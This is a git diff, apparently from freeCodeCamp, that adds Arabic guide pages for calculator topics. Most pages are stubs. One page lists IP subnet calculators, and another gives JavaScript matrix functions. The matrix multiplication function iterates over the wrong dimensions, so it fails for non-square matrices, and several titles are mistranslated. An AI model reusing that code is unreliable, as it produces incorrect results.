+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/confidence-interval-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/conversion-calculator/index.md b/client/src/guide/arabic/tools/calculators/conversion-calculator/index.md
new file mode 100644
index 0000000000..dc78ac6e2d
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/conversion-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conversion Calculator
+localeTitle: حاسبة التحويل
+---
+## حاسبة التحويل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conversion-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/date-calculator/index.md b/client/src/guide/arabic/tools/calculators/date-calculator/index.md
new file mode 100644
index 0000000000..11ff5b7b0f
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/date-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Calculator
+localeTitle: حاسبة البيانات
+---
+## تاريخ حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/date-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/density-calculator/index.md b/client/src/guide/arabic/tools/calculators/density-calculator/index.md
new file mode 100644
index 0000000000..0e863b6968
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/density-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Density Calculator
+localeTitle: حاسبة الكثافة
+---
+## حاسبة الكثافة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/density-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/exponent-calculator/index.md b/client/src/guide/arabic/tools/calculators/exponent-calculator/index.md
new file mode 100644
index 0000000000..c0b59cb25c
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/exponent-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Calculator
+localeTitle: حاسبة الأس
+---
+## حاسبة الأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/exponent-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/finance-calculator/index.md b/client/src/guide/arabic/tools/calculators/finance-calculator/index.md
new file mode 100644
index 0000000000..97ca1192cc
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/finance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Finance Calculator
+localeTitle: حاسبة التمويل
+---
+## حاسبة التمويل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/finance-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/financial-calculator/index.md b/client/src/guide/arabic/tools/calculators/financial-calculator/index.md
new file mode 100644
index 0000000000..fdafa69c86
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/financial-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Financial Calculator
+localeTitle: حاسبة المالية
+---
+## حاسبة المالية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/financial-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/fraction-calculator/index.md b/client/src/guide/arabic/tools/calculators/fraction-calculator/index.md
new file mode 100644
index 0000000000..32e983bd17
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/fraction-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Fraction Calculator
+localeTitle: حاسبة الكسور
+---
+## حاسبة الكسور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/fraction-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/future-value-calculator/index.md b/client/src/guide/arabic/tools/calculators/future-value-calculator/index.md
new file mode 100644
index 0000000000..5e8cda836d
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/future-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Future Value Calculator
+localeTitle: حاسبة القيمة المستقبلية
+---
+## حاسبة القيمة المستقبلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/future-value-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/gpa-calculator/index.md b/client/src/guide/arabic/tools/calculators/gpa-calculator/index.md
new file mode 100644
index 0000000000..e9358a208f
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/gpa-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Gpa Calculator
+localeTitle: حاسبة Gpa
+---
+## حاسبة Gpa
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/gpa-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/greatest-common-factor-calculator/index.md b/client/src/guide/arabic/tools/calculators/greatest-common-factor-calculator/index.md
new file mode 100644
index 0000000000..d389c37423
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/greatest-common-factor-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor Calculator
+localeTitle: أعظم عامل حاسب عام
+---
+## أعظم عامل حاسب عام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/greatest-common-factor-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/half-life-calculator/index.md b/client/src/guide/arabic/tools/calculators/half-life-calculator/index.md
new file mode 100644
index 0000000000..b91c1ac357
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/half-life-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Life Calculator
+localeTitle: نصف الحياة حاسبة
+---
+## نصف الحياة حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/half-life-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/hex-calculator/index.md b/client/src/guide/arabic/tools/calculators/hex-calculator/index.md
new file mode 100644
index 0000000000..5d2ab3fdf7
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/hex-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Hex Calculator
+localeTitle: عرافة حاسبة
+---
+## عرافة حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/hex-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/income-tax-calculator/index.md b/client/src/guide/arabic/tools/calculators/income-tax-calculator/index.md
new file mode 100644
index 0000000000..904c9e2d8b
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/income-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Income Tax Calculator
+localeTitle: حاسبة ضريبة الدخل
+---
+## حاسبة ضريبة الدخل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/income-tax-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/index.md b/client/src/guide/arabic/tools/calculators/index.md
new file mode 100644
index 0000000000..e3bd59a925
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculators
+localeTitle: الآلات الحاسبة
+---
+## الآلات الحاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/inflation-calculator/index.md b/client/src/guide/arabic/tools/calculators/inflation-calculator/index.md
new file mode 100644
index 0000000000..59ae664205
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/inflation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Inflation Calculator
+localeTitle: حاسبة التضخم
+---
+## حاسبة التضخم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/inflation-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/interest-calculator/index.md b/client/src/guide/arabic/tools/calculators/interest-calculator/index.md
new file mode 100644
index 0000000000..3bfb1f0402
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/interest-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Calculator
+localeTitle: حاسبة الفائدة
+---
+## حاسبة الفائدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/interest-rate-calculator/index.md b/client/src/guide/arabic/tools/calculators/interest-rate-calculator/index.md
new file mode 100644
index 0000000000..620281f963
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/interest-rate-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Rate Calculator
+localeTitle: حاسبة سعر الفائدة
+---
+## حاسبة سعر الفائدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-rate-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/ip-subnet-calculator/index.md b/client/src/guide/arabic/tools/calculators/ip-subnet-calculator/index.md
new file mode 100644
index 0000000000..5705e73268
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/ip-subnet-calculator/index.md
@@ -0,0 +1,18 @@
+---
+title: Ip Subnet Calculator
+localeTitle: Ip الشبكة الفرعية حاسبة
+---
+## Ip الشبكة الفرعية حاسبة
+
+تساعد حاسبات الشبكة الفرعية لـ IP على تقسيم شبكات IP إلى شبكات فرعية عن طريق حساب عناوين الشبكة المناسبة وأقنعة الشبكة الفرعية وعناوين البث ونطاقات IP للمضيف. بالنسبة للشبكات البسيطة (مثل الشبكة المحلية LAN) ، قد يكون من السهل جدًا تحديد القيم المناسبة ، ولكن بالنسبة إلى الشبكات الفرعية الأكثر تعقيدًا ، تعتبر أداة IP Subnet الحاسبة أداة ممتازة.
+
+فيما يلي بعض حاسبات Ip Subnet عبر الإنترنت:
+
+*   http://www.subnet-calculator.com/
+*   http://jodies.de/ipcalc
+*   https://www.iplocation.net/subnet-calculator
+*   http://www.calculator.net/ip-subnet-calculator.html
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات حول شبكات IP الفرعية ، انظر هنا: https://en.wikipedia.org/wiki/Subnetwork
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/least-common-multiple-calculator/index.md b/client/src/guide/arabic/tools/calculators/least-common-multiple-calculator/index.md
new file mode 100644
index 0000000000..32fc22b6f2
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/least-common-multiple-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Multiple Calculator
+localeTitle: أقل شيوعا حاسبة متعددة
+---
+## أقل شيوعا حاسبة متعددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/least-common-multiple-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/log-calculator/index.md b/client/src/guide/arabic/tools/calculators/log-calculator/index.md
new file mode 100644
index 0000000000..4c6a822c31
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/log-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Log Calculator
+localeTitle: سجل حاسبة
+---
+## سجل حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/log-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/matrix-calculator/index.md b/client/src/guide/arabic/tools/calculators/matrix-calculator/index.md
new file mode 100644
index 0000000000..3aaf7ac6a4
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/matrix-calculator/index.md
@@ -0,0 +1,96 @@
+---
+title: Matrix Calculator
+localeTitle: حاسبة المصفوفة
+---
+## حاسبة المصفوفة
+
+يتم استخدام حاسبة المصفوفة لتنفيذ الجمع أو الطرح أو الضرب. بالإضافة إلى ذلك ، يمكن إجراء عمليات خاصة بالمصفوفات ، مثل تحويل المصفوفة ، أو الانقلاب أو تحديد رتبة المصفوفة.
+
+تم تصميم Matrix من الصفوف والأعمدة (nxm). غالباً ما تضع العمليات التي تتم على المصفوفات بعض القيود على أبعاد المصفوفة.
+
+##### إضافة:
+
+تتم الإضافة بإضافة قيم لمصفوفتين من **نفس** الأبعاد. والنتيجة هي صفيف من نفس الأبعاد كالأبعاد الأصلية.
+
+ `// matrices a and b are represented by an array of arrays (rows of columns) 
+ function addMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] + b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+` 
+
+##### الطرح:
+
+يتم الطرح عن طريق طرح قيم المصفوفتين من **نفس** الأبعاد. والنتيجة هي صفيف من نفس الأبعاد كالأبعاد الأصلية.
+
+ `// matrices a and b are represented by an array of arrays (rows of columns) 
+ function subtractMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] - b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+` 
+
+##### عمليه الضرب:
+
+يمكن إجراء الضرب إما بضرب مصفوفة بواسطة عددي ، أو بضرب المصفوفات. إذا ضربنا مصفوفتين ، فيمكن تنفيذه فقط إذا كان عدد الأعمدة في المصفوفة اليسرى مساوياً لعدد الصفوف في المصفوفة اليمنى.
+
+ `// matrices a and b are represented by an array of arrays (rows of columns) 
+ function multiplyMatrices(a, b) { 
+  // we might want to add here constraints for the dimensions 
+  //let's assume that b has to be either a scalar or an array 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || ((!Array.isArray(b) || !Array.isArray(b[0])) && isNaN(b))) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  if (!isNaN(b)) { 
+    for (let i = 0; i < a.length; i++) { 
+      for (let j = 0; j < a[i].length; j++) { 
+        a[i][j] = a[i][j] * b; 
+      } 
+    } 
+    return a; 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      let sum = 0; 
+      for (let k = 0; k < b[i].length; k++) { 
+        sum += a[i][k] * b[k][j]; 
+      } 
+      result[i][j] = sum; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+https://en.wikipedia.org/wiki/Matrix\_(mathematics)
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/mean-median-mode-range-calculator/index.md b/client/src/guide/arabic/tools/calculators/mean-median-mode-range-calculator/index.md
new file mode 100644
index 0000000000..4a3b26a359
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/mean-median-mode-range-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Median Mode Range Calculator
+localeTitle: يعني متوسط ​​المدى الوضع حاسبة
+---
+## يعني متوسط ​​المدى الوضع حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mean-median-mode-range-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/mortgage-calculator/index.md b/client/src/guide/arabic/tools/calculators/mortgage-calculator/index.md
new file mode 100644
index 0000000000..e6560bbfd2
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/mortgage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Calculator
+localeTitle: آلة حساب الرهن العقاري
+---
+## آلة حساب الرهن العقاري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/mortgage-payoff-calculator/index.md b/client/src/guide/arabic/tools/calculators/mortgage-payoff-calculator/index.md
new file mode 100644
index 0000000000..ecb5cf4c31
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/mortgage-payoff-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Payoff Calculator
+localeTitle: حاسبة ربح الرهن العقاري
+---
+## حاسبة ربح الرهن العقاري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-payoff-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/number-sequence-calculator/index.md b/client/src/guide/arabic/tools/calculators/number-sequence-calculator/index.md
new file mode 100644
index 0000000000..2e75f701c5
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/number-sequence-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Sequence Calculator
+localeTitle: عدد تسلسل حاسبة
+---
+## عدد تسلسل حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/number-sequence-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/order-of-operations-calculator/index.md b/client/src/guide/arabic/tools/calculators/order-of-operations-calculator/index.md
new file mode 100644
index 0000000000..2845d7c5db
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/order-of-operations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Calculator
+localeTitle: ترتيب العمليات الحسابية
+---
+## ترتيب العمليات الحسابية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/order-of-operations-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/percent-error-calculator/index.md b/client/src/guide/arabic/tools/calculators/percent-error-calculator/index.md
new file mode 100644
index 0000000000..b3a4a24830
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/percent-error-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent Error Calculator
+localeTitle: في المئة خطأ حاسبة
+---
+## في المئة خطأ حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percent-error-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/percentage-calculator/index.md b/client/src/guide/arabic/tools/calculators/percentage-calculator/index.md
new file mode 100644
index 0000000000..d7ffd39b56
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/percentage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percentage Calculator
+localeTitle: النسبة المئوية للحاسبة
+---
+## النسبة المئوية للحاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percentage-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/present-value-calculator/index.md b/client/src/guide/arabic/tools/calculators/present-value-calculator/index.md
new file mode 100644
index 0000000000..3277628ee1
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/present-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Present Value Calculator
+localeTitle: حاسبة القيمة الحالية
+---
+## حاسبة القيمة الحالية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/present-value-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/prime-number-calculator/index.md b/client/src/guide/arabic/tools/calculators/prime-number-calculator/index.md
new file mode 100644
index 0000000000..89f645a1e4
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/prime-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Calculator
+localeTitle: رئيس عدد حاسبة
+---
+## رئيس عدد حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/prime-number-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/probability-calculator/index.md b/client/src/guide/arabic/tools/calculators/probability-calculator/index.md
new file mode 100644
index 0000000000..ef61847a7b
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/probability-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Calculator
+localeTitle: حاسبة الاحتمالية
+---
+## حاسبة الاحتمالية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/probability-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/ratio-calculator/index.md b/client/src/guide/arabic/tools/calculators/ratio-calculator/index.md
new file mode 100644
index 0000000000..62db27b2c9
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/ratio-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratio Calculator
+localeTitle: نسبة حاسبة
+---
+## نسبة حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/ratio-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/refinance-calculator/index.md b/client/src/guide/arabic/tools/calculators/refinance-calculator/index.md
new file mode 100644
index 0000000000..fe93cacf3b
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/refinance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Refinance Calculator
+localeTitle: اعادة تمويل حاسبة
+---
+## اعادة تمويل حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/refinance-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/return-on-investment-roi-calculator/index.md b/client/src/guide/arabic/tools/calculators/return-on-investment-roi-calculator/index.md
new file mode 100644
index 0000000000..d839b6a829
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/return-on-investment-roi-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Return on Investment Roi Calculator
+localeTitle: العائد على الاستثمار روي حاسبة
+---
+## العائد على الاستثمار روي حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/return-on-investment-roi-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/salary-calculator/index.md b/client/src/guide/arabic/tools/calculators/salary-calculator/index.md
new file mode 100644
index 0000000000..8b7ce9256a
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/salary-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Salary Calculator
+localeTitle: حاسبة الراتب
+---
+## حاسبة الراتب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/salary-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/sales-tax-calculator/index.md b/client/src/guide/arabic/tools/calculators/sales-tax-calculator/index.md
new file mode 100644
